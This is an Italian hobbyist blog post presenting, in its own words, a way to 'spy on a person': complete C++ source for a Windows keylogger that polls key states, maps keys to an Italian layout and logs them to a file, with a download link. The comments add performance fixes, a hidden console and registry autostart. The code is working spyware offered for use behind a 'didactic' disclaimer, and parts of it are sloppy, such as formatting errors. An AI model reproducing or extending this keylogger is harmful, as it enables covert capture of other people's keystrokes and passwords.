Il blog per tutti gli smanettoni del pc

Keylogger windows in c++

gen 30

Lo scopo dell’articolo è puramente didattico. Non mi assumo nessuna responsabilità sull’uso illecito dello script.

Per spiare una persona non è necessario nulla di complicato: basta infatti intercettare in qualche modo quello che viene digitato sulla tastiera. Lo strumento necessario per questo tipo di operazione è il keylogger che puo’ essere software o hardware.

Oggi parleremo di quello software realizzandone uno in c++.

Lo scopo del keylogger è quello di intercettare i tasti premuti dall’utente e registrali in un file.
La funzione GetAsyncKeyState, presente nella libreria windows.h, è indispensabile perchè restituisce lo stato di un bottone , cioè se è premuto o no.

Ecco un semplice esempio per utilizzare questa funzione.

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
int main(){   
    while(1){                     
             if(GetAsyncKeyState(65)==-32767){                                             
                    cout << "Tasto A premuto\n";                                                         
              }                           
    }    
    return 1;
}


Il seguente codice if(GetAsyncKeyState(65)==-32767){ controlla se il tasto della lettera A ( corrisponde al numero 65 ) è premuto. Quando noi , infatti, premiamo il tasto, la funzione restituisce -32767 .

Altra concetto fondamentale per costruire il nostro keylogger è saper scrivere sui file . Lo script altre ad intercettare la pressione dei tasti deve salvare ogni singolo movimento in un file txt.

Il seguente programmino apre il file in scrittura e scrive una stringa “prova”

#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
void main(){
     char * file = "keylog.txt";
     FILE * scrivi ;
     scrivi = fopen(file,"a+");
     fprintf(scrivi,"prova");
     system("pause");     
     }

Dopo aver imparato a scrivere sui file e ad intercettare le pressioni sui tasti vi posto lo script completo del keylogger con alcuni commenti sul codice :

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <iostream.h>
 
// La seguente funzione registra il tasto premuto 
// sul file
void reg(int key,char *file){
 
   FILE *keylog;
   keylog = fopen(file,"a+");  // Apriamo il file in modalità scrittura con 
   // cursore posizionato alla fine
   int tmp = key; 
 
   switch(key){
 
   case 8 :    fprintf(keylog,"[Del]"); break; 
   case 9 :    fprintf(keylog,"[Tab]"); break;      
   case 13:    fprintf(keylog,"\n[Invio]\n"); break;
   case 37:    fprintf(keylog,"[Left]"); break;
   case 38:    fprintf(keylog,"[Top]"); break;
   case 39:    fprintf(keylog,"[Right]"); break;  
   case 40:    fprintf(keylog,"[Bottom]"); break; 
   case 46:    fprintf(keylog,"[Canc]"); break;   
   case 44:    fprintf(keylog,"[Stamp R sist]"); break;   
   case 45:    fprintf(keylog,"[Ins]"); break;     
   case 33:    fprintf(keylog,"[Pag Su]"); break;  
   case 34:    fprintf(keylog,"[Pag Giu]"); break;        
   case 35:    fprintf(keylog,"[Fine"); break;      
   case 164:    fprintf(keylog,"[Alt]"); break;       
   case 145:    fprintf(keylog,"[Bloc Scorr]"); break;  
   case 92:case 91:    fprintf(keylog,"[Windows]"); break;           
   case 32:    fprintf(keylog," "); break;
   case 162:   fprintf(keylog,"[Ctrl]"); break;
   case 107:   fprintf(keylog,"+"); break;
   case 109:   fprintf(keylog,"-"); break;  
   case 111:   fprintf(keylog,"*"); break;   
   case 144:   fprintf(keylog,"/"); break;   
   case 106:   fprintf(keylog,"-"); break;    
   case 27:case 163:   fprintf(keylog,"[Esc]"); break;     
   }
   // Tasti F1,F1,F2 ecc
   if(key >= 112 and key <= 123){
      key -= 112;
      fprintf(keylog,"[%d]",key);   
      key=tmp; 
   }
   // Alfabeto
   if(key >= 65 && key <= 90){
 
             if(GetKeyState(VK_CAPITAL)==1 || GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128   ){
             // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
             fprintf(keylog,"%s",&key);          
 
             }else{
             // Se no memorizziamola in minuscolo
             key += 32;
             fprintf(keylog,"%s",&key);         
             key = tmp;
             }                       
   }   
   // TASTI numerici   
   if( GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128 ){  
       // Se è premuto shift ... 
      switch(key){
      case 48 : fprintf(keylog,"="); break;      
      case 49 : fprintf(keylog,"!"); break; 
      case 50 : fprintf(keylog,"\"");break;
      case 51 : fprintf(keylog,"£");   break;    
      case 52 : fprintf(keylog,"$");  break;  
      case 53 : fprintf(keylog,"%");  break;   
      case 54 : fprintf(keylog,"&");  break;        
      case 55 : fprintf(keylog,"/");  break;               
      case 56 : fprintf(keylog,"(");  break;
      case 57 : fprintf(keylog,")");  break;                                      
      }                         
 
   }else{   
   // Se no stampa i numeri   
       if(key >= 48 && key <= 57){         
       fprintf(keylog,"%s",&key);      
       }     
    } 
 
   if( GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128 ){
   // Se è premuto Shift ...
      switch(key){
 
      case 192 : fprintf(keylog,"ç"); break;   
      case 191 : fprintf(keylog,"§"); break;       
      case 222 : fprintf(keylog,"°"); break; 
      case 187 : fprintf(keylog,"*"); break;       
      case 186 : fprintf(keylog,"é"); break;                                       
      case 188 : fprintf(keylog,";"); break;
      case 190 : fprintf(keylog,":"); break;
      case 189 : fprintf(keylog,"_"); break; 
      case 219 : fprintf(keylog,"?"); break;    
      case 221 : fprintf(keylog,"^"); break; 
      case 226 : fprintf(keylog,">"); break;  
      case 220 : fprintf(keylog,"|"); break;           
 
      }  
 
    }else if((GetKeyState(17)==-127 || GetKeyState(17)==-128  )&&(GetKeyState(18)==-127 || 
    GetKeyState(18)==-128 )&&( GetKeyState(162)==-127 ||  GetKeyState(162)==-128 )&&
    (GetKeyState(165)==-127 || GetKeyState(165)==-128) ){
    // Se tiene premuto ALT GR
      switch(key){
      case 192 : fprintf(keylog,"@"); break;     
      case 222 : fprintf(keylog,"#"); break;  
      case 187 : fprintf(keylog,"]"); break;   
      case 186 : fprintf(keylog,"["); break;             
      }                           
    }else{
    // Se no
      switch(key){  
      case 192 : fprintf(keylog,"ò"); break;     
      case 191 : fprintf(keylog,"ù"); break;      
      case 222 : fprintf(keylog,"à"); break;    
      case 187 : fprintf(keylog,"+"); break;     
      case 186 : fprintf(keylog,"è"); break;    
      case 188 : fprintf(keylog,","); break;    
      case 190 : fprintf(keylog,"."); break;        
      case 189 : fprintf(keylog,"-"); break;    
      case 219 : fprintf(keylog,"'"); break;      
      case 221 : fprintf(keylog,"ì"); break;      
      case 226 : fprintf(keylog,"<"); break;    
      case 220 : fprintf(keylog,"\\"); break;                                     
      }     
    }
 
   fclose(keylog);
}
 
int main(){
 
 
 
    char * file = "prova.txt";
    int i;
    while(1){       
          for(i=8;i<=1000;i++){             
             if(GetAsyncKeyState(i)==-32767){                                             
                                reg(i,file);                                                         
              }          
          }          
    }
 
    return 1;
}

Download Keylogger windows

Nel prossimo articolo spiegherò come nascondere la console e per rendere invisibile il processo di intercettamento

5 Commenti a “Keylogger windows in c++”

  1. Console invisibile c++ » IoSmanetto.it – Blog programmazione e webdesign
    20:34 on gennaio 31st, 2010

    [...] precedente abbiamo realizzato un keylogger per windows in c++. Chi ha letto l’articolo e provato il keylogger avrà sicuramente notato [...]

  2. Lupokr92
    13:00 on aprile 7th, 2010

    Ciao ho compilato il keylogger e ho ottimizzato il codice aggiungendo inoltre la funzione per nascondere la console ma c’è un problema di fondo relativo all’allocazione di memoria perchè il programma funge bene su un quad core e occupa il 25% della memoria ma su un pc normale va tutto in palla!!

  3. Gregorio
    14:15 on aprile 7th, 2010

    Ciao Lupokr92.
    Mi piacerebbe scambiare due parole con te . Hai msn ? Il mio indirizzo è costagregorioalessio[@]hotmail.it.

    Riguardo al codice certo non è il massimo dell’efficenza , ma è strano che occupa il 25 % delle cpu .

    Fammi sapere
    Ciao

  4. Il maestro d'arme
    14:16 on agosto 25th, 2010

    E’ solo perché il programma controlla ripetutamente lo stato della tastiera in modo indiscriminato.
    Basta aggiungere il comando Sleep([numeroMillisecondi) per impostare delle pause, esempio:

    int main(){
    char * file = “prova.txt”;
    int i;
    while(1){

    Sleep(10);
    for(i=8;i<=1000;i++){ if(GetAsyncKeyState(i)==-32767){
    reg(i,file);
    }
    }
    }
    return 1;
    }

    posto solo per chi, passando per questa pagina, trova un codice non troppo performante ;)

    IMDA

  5. giulia
    14:03 on marzo 28th, 2011

    Ciao a tutti, ho complato il keylogger e introdotto le righe da te indicate per nascondere la console. Ho tramite regedit impostato che all’avvio si deve caricare automaticamento il processo del keylogger ma una volta caricata la console mi rimane ferma li visibile! Se invece lancio l’eseguibile con windows avviato va bene (console nascosta e funziona). Il problema è quando lo carico all’avvio di windows! Idee?

Lascia un Commento